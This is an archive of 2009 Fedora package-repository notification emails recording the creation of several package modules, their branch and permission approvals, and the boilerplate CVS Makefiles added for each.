endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From kevin at fedoraproject.org  Sat Oct 10 22:07:24 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 10 Oct 2009 22:07:24 +0000 (UTC)
Subject: rpms/MySQL-zrm Makefile,NONE,1.1
Message-ID: <20091010220724.81A8011C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/MySQL-zrm
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsx10307/rpms/MySQL-zrm

Added Files:
	Makefile 
Log Message:
Setup of module MySQL-zrm


--- NEW FILE Makefile ---
# Top level Makefile for module MySQL-zrm
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From pkgdb at fedoraproject.org  Sat Oct 10 22:08:02 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 22:08:02 +0000
Subject: [pkgdb] myproxy was added for stevetraylen
Message-ID: <20091010220802.9A3A310F894@bastion2.fedora.phx.redhat.com>

kevin has added Package myproxy with summary Manage X.509 Public Key Infrastructure
kevin has approved Package myproxy
kevin has added a Fedora devel branch for myproxy with an owner of stevetraylen
kevin has approved myproxy in Fedora devel
kevin has approved Package myproxy
kevin has set commit to Approved for 107427 on myproxy (Fedora devel)
kevin has set checkout to Approved for 107427 on myproxy (Fedora devel)
kevin has set build to Approved for 107427 on myproxy (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/myproxy



From pkgdb at fedoraproject.org  Sat Oct 10 22:08:04 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 22:08:04 +0000
Subject: [pkgdb] myproxy summary updated by kevin
Message-ID: <20091010220804.93F0910F8A1@bastion2.fedora.phx.redhat.com>

kevin set package myproxy summary to Manage X.509 Public Key Infrastructure

To make changes to this package see:
  /pkgdb/packages/name/myproxy



From pkgdb at fedoraproject.org  Sat Oct 10 22:08:04 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 22:08:04 +0000
Subject: [pkgdb] myproxy (Fedora EPEL, 4) updated by kevin
Message-ID: <20091010220804.9EFBC10F8A9@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for myproxy
kevin has set commit to Approved for 107427 on myproxy (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on myproxy (Fedora EPEL 5)
kevin has set build to Approved for 107427 on myproxy (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/myproxy



From pkgdb at fedoraproject.org  Sat Oct 10 22:08:04 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 22:08:04 +0000
Subject: [pkgdb] myproxy (Fedora EPEL, 4) updated by kevin
Message-ID: <20091010220804.B1CFA10F8AF@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for myproxy
kevin has set commit to Approved for 107427 on myproxy (Fedora 11)
kevin has set checkout to Approved for 107427 on myproxy (Fedora 11)
kevin has set build to Approved for 107427 on myproxy (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/myproxy



From pkgdb at fedoraproject.org  Sat Oct 10 22:08:04 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 22:08:04 +0000
Subject: [pkgdb] myproxy (Fedora EPEL, 4) updated by kevin
Message-ID: <20091010220804.BB84C10F8B3@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for myproxy
kevin has set commit to Approved for 107427 on myproxy (Fedora 12)
kevin has set checkout to Approved for 107427 on myproxy (Fedora 12)
kevin has set build to Approved for 107427 on myproxy (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/myproxy



From pkgdb at fedoraproject.org  Sat Oct 10 22:08:04 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 22:08:04 +0000
Subject: [pkgdb] myproxy (Fedora EPEL, 4) updated by kevin
Message-ID: <20091010220804.D4E3210F8B6@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 4 branch for myproxy
kevin has set commit to Approved for 107427 on myproxy (Fedora EPEL 4)
kevin has set checkout to Approved for 107427 on myproxy (Fedora EPEL 4)
kevin has set build to Approved for 107427 on myproxy (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/myproxy



From kevin at fedoraproject.org  Sat Oct 10 22:08:11 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 10 Oct 2009 22:08:11 +0000 (UTC)
Subject: rpms/myproxy - New directory
Message-ID: <20091010220811.1851111C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/myproxy
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsG10605/rpms/myproxy

Log Message:
Directory /cvs/pkgs/rpms/myproxy added to the repository




From kevin at fedoraproject.org  Sat Oct 10 22:08:11 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 10 Oct 2009 22:08:11 +0000 (UTC)
Subject: rpms/myproxy/devel - New directory
Message-ID: <20091010220811.3E11D11C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/myproxy/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsG10605/rpms/myproxy/devel

Log Message:
Directory /cvs/pkgs/rpms/myproxy/devel added to the repository




From kevin at fedoraproject.org  Sat Oct 10 22:08:18 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 10 Oct 2009 22:08:18 +0000 (UTC)
Subject: rpms/myproxy Makefile,NONE,1.1
Message-ID: <20091010220818.3807011C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/myproxy
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsG10605/rpms/myproxy

Added Files:
	Makefile 
Log Message:
Setup of module myproxy


--- NEW FILE Makefile ---
# Top level Makefile for module myproxy
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Sat Oct 10 22:08:18 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 10 Oct 2009 22:08:18 +0000 (UTC)
Subject: rpms/myproxy/devel .cvsignore, NONE, 1.1 Makefile, NONE, 1.1 sources,
	NONE, 1.1
Message-ID: <20091010220818.9BBAA11C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/myproxy/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsG10605/rpms/myproxy/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module myproxy


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: myproxy
# $Id: Makefile,v 1.1 2009/10/10 22:08:18 kevin Exp $
NAME := myproxy
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Sat Oct 10 22:09:19 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 22:09:19 +0000
Subject: [pkgdb] libnetdevname was added for srini
Message-ID: <20091010220919.B36CA10F880@bastion2.fedora.phx.redhat.com>

kevin has added Package libnetdevname with summary This library package provides interface for mapping network path names to kernel names
kevin has approved Package libnetdevname
kevin has added a Fedora devel branch for libnetdevname with an owner of srini
kevin has approved libnetdevname in Fedora devel
kevin has approved Package libnetdevname
kevin has set commit to Approved for 107427 on libnetdevname (Fedora devel)
kevin has set checkout to Approved for 107427 on libnetdevname (Fedora devel)
kevin has set build to Approved for 107427 on libnetdevname (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/libnetdevname



From pkgdb at fedoraproject.org  Sat Oct 10 22:09:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 22:09:22 +0000
Subject: [pkgdb] libnetdevname summary updated by kevin
Message-ID: <20091010220923.1511E10F8A3@bastion2.fedora.phx.redhat.com>

kevin set package libnetdevname summary to This library package provides interface for mapping network path names to kernel names

To make changes to this package see:
  /pkgdb/packages/name/libnetdevname



From pkgdb at fedoraproject.org  Sat Oct 10 22:09:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 22:09:22 +0000
Subject: [pkgdb] libnetdevname (Fedora EPEL, 4) updated by kevin
Message-ID: <20091010220923.1A54410F8A9@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for libnetdevname
kevin has set commit to Approved for 107427 on libnetdevname (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on libnetdevname (Fedora EPEL 5)
kevin has set build to Approved for 107427 on libnetdevname (Fedora EPEL 5)
kevin approved watchbugzilla on libnetdevname (Fedora EPEL 5) for mdomsch
kevin approved watchcommits on libnetdevname (Fedora EPEL 5) for mdomsch
kevin approved watchbugzilla on libnetdevname (Fedora EPEL 5) for praveenp
kevin approved watchcommits on libnetdevname (Fedora EPEL 5) for praveenp
kevin approved commit on libnetdevname (Fedora EPEL 5) for praveenp
kevin approved build on libnetdevname (Fedora EPEL 5) for praveenp
kevin approved approveacls on libnetdevname (Fedora EPEL 5) for praveenp

To make changes to this package see:
  /pkgdb/packages/name/libnetdevname



From pkgdb at fedoraproject.org  Sat Oct 10 22:09:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 22:09:22 +0000
Subject: [pkgdb] libnetdevname (Fedora EPEL, 4) updated by kevin
Message-ID: <20091010220923.5EE7810F8B4@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for libnetdevname
kevin has set commit to Approved for 107427 on libnetdevname (Fedora 11)
kevin has set checkout to Approved for 107427 on libnetdevname (Fedora 11)
kevin has set build to Approved for 107427 on libnetdevname (Fedora 11)
kevin approved watchbugzilla on libnetdevname (Fedora 11) for mdomsch
kevin approved watchcommits on libnetdevname (Fedora 11) for mdomsch
kevin approved watchbugzilla on libnetdevname (Fedora 11) for praveenp
kevin approved watchcommits on libnetdevname (Fedora 11) for praveenp
kevin approved commit on libnetdevname (Fedora 11) for praveenp
kevin approved build on libnetdevname (Fedora 11) for praveenp
kevin approved approveacls on libnetdevname (Fedora 11) for praveenp

To make changes to this package see:
  /pkgdb/packages/name/libnetdevname



From pkgdb at fedoraproject.org  Sat Oct 10 22:09:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 22:09:22 +0000
Subject: [pkgdb] libnetdevname (Fedora EPEL, 4) updated by kevin
Message-ID: <20091010220924.2EEB710F8B6@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 10 branch for libnetdevname
kevin has set commit to Approved for 107427 on libnetdevname (Fedora 10)
kevin has set checkout to Approved for 107427 on libnetdevname (Fedora 10)
kevin has set build to Approved for 107427 on libnetdevname (Fedora 10)
kevin approved watchbugzilla on libnetdevname (Fedora 10) for mdomsch
kevin approved watchcommits on libnetdevname (Fedora 10) for mdomsch
kevin approved watchbugzilla on libnetdevname (Fedora 10) for praveenp
kevin approved watchcommits on libnetdevname (Fedora 10) for praveenp
kevin approved commit on libnetdevname (Fedora 10) for praveenp
kevin approved build on libnetdevname (Fedora 10) for praveenp
kevin approved approveacls on libnetdevname (Fedora 10) for praveenp

To make changes to this package see:
  /pkgdb/packages/name/libnetdevname



From pkgdb at fedoraproject.org  Sat Oct 10 22:09:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 22:09:22 +0000
Subject: [pkgdb] libnetdevname (Fedora EPEL, 4) updated by kevin
Message-ID: <20091010220924.87C4110F8BA@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 4 branch for libnetdevname
kevin has set commit to Approved for 107427 on libnetdevname (Fedora EPEL 4)
kevin has set checkout to Approved for 107427 on libnetdevname (Fedora EPEL 4)
kevin has set build to Approved for 107427 on libnetdevname (Fedora EPEL 4)
kevin approved watchbugzilla on libnetdevname (Fedora EPEL 4) for mdomsch
kevin approved watchcommits on libnetdevname (Fedora EPEL 4) for mdomsch
kevin approved watchbugzilla on libnetdevname (Fedora EPEL 4) for praveenp
kevin approved watchcommits on libnetdevname (Fedora EPEL 4) for praveenp
kevin approved commit on libnetdevname (Fedora EPEL 4) for praveenp
kevin approved build on libnetdevname (Fedora EPEL 4) for praveenp
kevin approved approveacls on libnetdevname (Fedora EPEL 4) for praveenp

To make changes to this package see:
  /pkgdb/packages/name/libnetdevname



From pkgdb at fedoraproject.org  Sat Oct 10 22:09:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 22:09:22 +0000
Subject: [pkgdb] libnetdevname (Fedora EPEL, 4) updated by kevin
Message-ID: <20091010220925.581A810F8C0@bastion2.fedora.phx.redhat.com>

kevin approved watchbugzilla on libnetdevname (Fedora devel) for mdomsch
kevin approved watchcommits on libnetdevname (Fedora devel) for mdomsch
kevin approved watchbugzilla on libnetdevname (Fedora devel) for praveenp
kevin approved watchcommits on libnetdevname (Fedora devel) for praveenp
kevin approved commit on libnetdevname (Fedora devel) for praveenp
kevin approved build on libnetdevname (Fedora devel) for praveenp
kevin approved approveacls on libnetdevname (Fedora devel) for praveenp

To make changes to this package see:
  /pkgdb/packages/name/libnetdevname



From pkgdb at fedoraproject.org  Sat Oct 10 22:09:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 22:09:22 +0000
Subject: [pkgdb] libnetdevname (Fedora EPEL, 4) updated by kevin
Message-ID: <20091010220925.AD46E10F8BE@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for libnetdevname
kevin has set commit to Approved for 107427 on libnetdevname (Fedora 12)
kevin has set checkout to Approved for 107427 on libnetdevname (Fedora 12)
kevin has set build to Approved for 107427 on libnetdevname (Fedora 12)
kevin approved watchbugzilla on libnetdevname (Fedora 12) for mdomsch
kevin approved watchcommits on libnetdevname (Fedora 12) for mdomsch
kevin approved watchbugzilla on libnetdevname (Fedora 12) for praveenp
kevin approved watchcommits on libnetdevname (Fedora 12) for praveenp
kevin approved commit on libnetdevname (Fedora 12) for praveenp
kevin approved build on libnetdevname (Fedora 12) for praveenp
kevin approved approveacls on libnetdevname (Fedora 12) for praveenp

To make changes to this package see:
  /pkgdb/packages/name/libnetdevname



From kevin at fedoraproject.org  Sat Oct 10 22:09:35 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 10 Oct 2009 22:09:35 +0000 (UTC)
Subject: rpms/libnetdevname - New directory
Message-ID: <20091010220935.4BBBF11C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/libnetdevname
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsZ11539/rpms/libnetdevname

Log Message:
Directory /cvs/pkgs/rpms/libnetdevname added to the repository




From kevin at fedoraproject.org  Sat Oct 10 22:09:35 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 10 Oct 2009 22:09:35 +0000 (UTC)
Subject: rpms/libnetdevname/devel - New directory
Message-ID: <20091010220935.7BE6E11C0267@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/libnetdevname/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsZ11539/rpms/libnetdevname/devel

Log Message:
Directory /cvs/pkgs/rpms/libnetdevname/devel added to the repository




From kevin at fedoraproject.org  Sat Oct 10 22:09:45 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 10 Oct 2009 22:09:45 +0000 (UTC)
Subject: rpms/libnetdevname Makefile,NONE,1.1
Message-ID: <20091010220945.E781B11C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/libnetdevname
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsZ11539/rpms/libnetdevname

Added Files:
	Makefile 
Log Message:
Setup of module libnetdevname


--- NEW FILE Makefile ---
# Top level Makefile for module libnetdevname
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Sat Oct 10 22:09:46 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 10 Oct 2009 22:09:46 +0000 (UTC)
Subject: rpms/libnetdevname/devel .cvsignore, NONE, 1.1 Makefile, NONE,
	1.1 sources, NONE, 1.1
Message-ID: <20091010220946.8427711C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/libnetdevname/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsZ11539/rpms/libnetdevname/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module libnetdevname


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: libnetdevname
# $Id: Makefile,v 1.1 2009/10/10 22:09:46 kevin Exp $
NAME := libnetdevname
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Sat Oct 10 22:10:44 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 22:10:44 +0000
Subject: [pkgdb] sblim-cmpi-dhcp was added for vcrhonek
Message-ID: <20091010221044.D685B10F88F@bastion2.fedora.phx.redhat.com>

kevin has added Package sblim-cmpi-dhcp with summary provides access to the DHCP configuration data via CIMOM technology/infrastructure
kevin has approved Package sblim-cmpi-dhcp
kevin has added a Fedora devel branch for sblim-cmpi-dhcp with an owner of vcrhonek
kevin has approved sblim-cmpi-dhcp in Fedora devel
kevin has approved Package sblim-cmpi-dhcp
kevin has set commit to Approved for 107427 on sblim-cmpi-dhcp (Fedora devel)
kevin has set checkout to Approved for 107427 on sblim-cmpi-dhcp (Fedora devel)
kevin has set build to Approved for 107427 on sblim-cmpi-dhcp (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/sblim-cmpi-dhcp



From pkgdb at fedoraproject.org  Sat Oct 10 22:10:46 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 22:10:46 +0000
Subject: [pkgdb] sblim-cmpi-dhcp summary updated by kevin
Message-ID: <20091010221046.E62AD10F8A1@bastion2.fedora.phx.redhat.com>

kevin set package sblim-cmpi-dhcp summary to provides access to the DHCP configuration data via CIMOM technology/infrastructure

To make changes to this package see:
  /pkgdb/packages/name/sblim-cmpi-dhcp



From pkgdb at fedoraproject.org  Sat Oct 10 22:10:46 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 22:10:46 +0000
Subject: [pkgdb] sblim-cmpi-dhcp (Fedora EPEL, 4) updated by kevin
Message-ID: <20091010221046.F09B110F8A9@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 4 branch for sblim-cmpi-dhcp
kevin has set commit to Approved for 107427 on sblim-cmpi-dhcp (Fedora EPEL 4)
kevin has set checkout to Approved for 107427 on sblim-cmpi-dhcp (Fedora EPEL 4)
kevin has set build to Approved for 107427 on sblim-cmpi-dhcp (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/sblim-cmpi-dhcp



From pkgdb at fedoraproject.org  Sat Oct 10 22:10:46 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 22:10:46 +0000
Subject: [pkgdb] sblim-cmpi-dhcp (Fedora EPEL, 4) updated by kevin
Message-ID: <20091010221047.3F71B10F8AC@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for sblim-cmpi-dhcp
kevin has set commit to Approved for 107427 on sblim-cmpi-dhcp (Fedora 11)
kevin has set checkout to Approved for 107427 on sblim-cmpi-dhcp (Fedora 11)
kevin has set build to Approved for 107427 on sblim-cmpi-dhcp (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/sblim-cmpi-dhcp



From pkgdb at fedoraproject.org  Sat Oct 10 22:10:46 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 22:10:46 +0000
Subject: [pkgdb] sblim-cmpi-dhcp (Fedora EPEL, 4) updated by kevin
Message-ID: <20091010221047.5042F10F8B3@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for sblim-cmpi-dhcp
kevin has set commit to Approved for 107427 on sblim-cmpi-dhcp (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on sblim-cmpi-dhcp (Fedora EPEL 5)
kevin has set build to Approved for 107427 on sblim-cmpi-dhcp (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/sblim-cmpi-dhcp



From pkgdb at fedoraproject.org  Sat Oct 10 22:10:46 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 22:10:46 +0000
Subject: [pkgdb] sblim-cmpi-dhcp (Fedora EPEL, 4) updated by kevin
Message-ID: <20091010221047.7235210F8B4@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 10 branch for sblim-cmpi-dhcp
kevin has set commit to Approved for 107427 on sblim-cmpi-dhcp (Fedora 10)
kevin has set checkout to Approved for 107427 on sblim-cmpi-dhcp (Fedora 10)
kevin has set build to Approved for 107427 on sblim-cmpi-dhcp (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/sblim-cmpi-dhcp



From pkgdb at fedoraproject.org  Sat Oct 10 22:10:46 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 22:10:46 +0000
Subject: [pkgdb] sblim-cmpi-dhcp (Fedora EPEL, 4) updated by kevin
Message-ID: <20091010221047.9C80F10F8B8@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for sblim-cmpi-dhcp
kevin has set commit to Approved for 107427 on sblim-cmpi-dhcp (Fedora 12)
kevin has set checkout to Approved for 107427 on sblim-cmpi-dhcp (Fedora 12)
kevin has set build to Approved for 107427 on sblim-cmpi-dhcp (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/sblim-cmpi-dhcp



From kevin at fedoraproject.org  Sat Oct 10 22:10:56 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 10 Oct 2009 22:10:56 +0000 (UTC)
Subject: rpms/sblim-cmpi-dhcp - New directory
Message-ID: <20091010221056.15CD911C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/sblim-cmpi-dhcp
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsN12864/rpms/sblim-cmpi-dhcp

Log Message:
Directory /cvs/pkgs/rpms/sblim-cmpi-dhcp added to the repository




From kevin at fedoraproject.org  Sat Oct 10 22:10:56 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 10 Oct 2009 22:10:56 +0000 (UTC)
Subject: rpms/sblim-cmpi-dhcp/devel - New directory
Message-ID: <20091010221056.3843C11C0267@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/sblim-cmpi-dhcp/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsN12864/rpms/sblim-cmpi-dhcp/devel

Log Message:
Directory /cvs/pkgs/rpms/sblim-cmpi-dhcp/devel added to the repository




From kevin at fedoraproject.org  Sat Oct 10 22:11:03 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 10 Oct 2009 22:11:03 +0000 (UTC)
Subject: rpms/sblim-cmpi-dhcp Makefile,NONE,1.1
Message-ID: <20091010221103.14AA411C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/sblim-cmpi-dhcp
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsN12864/rpms/sblim-cmpi-dhcp

Added Files:
	Makefile 
Log Message:
Setup of module sblim-cmpi-dhcp


--- NEW FILE Makefile ---
# Top level Makefile for module sblim-cmpi-dhcp
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Sat Oct 10 22:11:03 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 10 Oct 2009 22:11:03 +0000 (UTC)
Subject: rpms/sblim-cmpi-dhcp/devel .cvsignore, NONE, 1.1 Makefile, NONE,
	1.1 sources, NONE, 1.1
Message-ID: <20091010221103.6147F11C00E5@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/sblim-cmpi-dhcp/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsN12864/rpms/sblim-cmpi-dhcp/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module sblim-cmpi-dhcp


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: sblim-cmpi-dhcp
# $Id: Makefile,v 1.1 2009/10/10 22:11:03 kevin Exp $
NAME := sblim-cmpi-dhcp
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Sat Oct 10 22:12:55 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 22:12:55 +0000
Subject: [pkgdb] vim-latex was added for jussilehtola
Message-ID: <20091010221256.0A40410F84D@bastion2.fedora.phx.redhat.com>

kevin has added Package vim-latex with summary Tools to view, edit and compile LaTeX documents in Vim
kevin has approved Package vim-latex
kevin has added a Fedora devel branch for vim-latex with an owner of jussilehtola
kevin has approved vim-latex in Fedora devel
kevin has approved Package vim-latex
kevin has set commit to Approved for 107427 on vim-latex (Fedora devel)
kevin has set checkout to Approved for 107427 on vim-latex (Fedora devel)
kevin has set build to Approved for 107427 on vim-latex (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/vim-latex



From pkgdb at fedoraproject.org  Sat Oct 10 22:12:58 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 22:12:58 +0000
Subject: [pkgdb] vim-latex summary updated by kevin
Message-ID: <20091010221258.69BC410F894@bastion2.fedora.phx.redhat.com>

kevin set package vim-latex summary to Tools to view, edit and compile LaTeX documents in Vim

To make changes to this package see:
  /pkgdb/packages/name/vim-latex



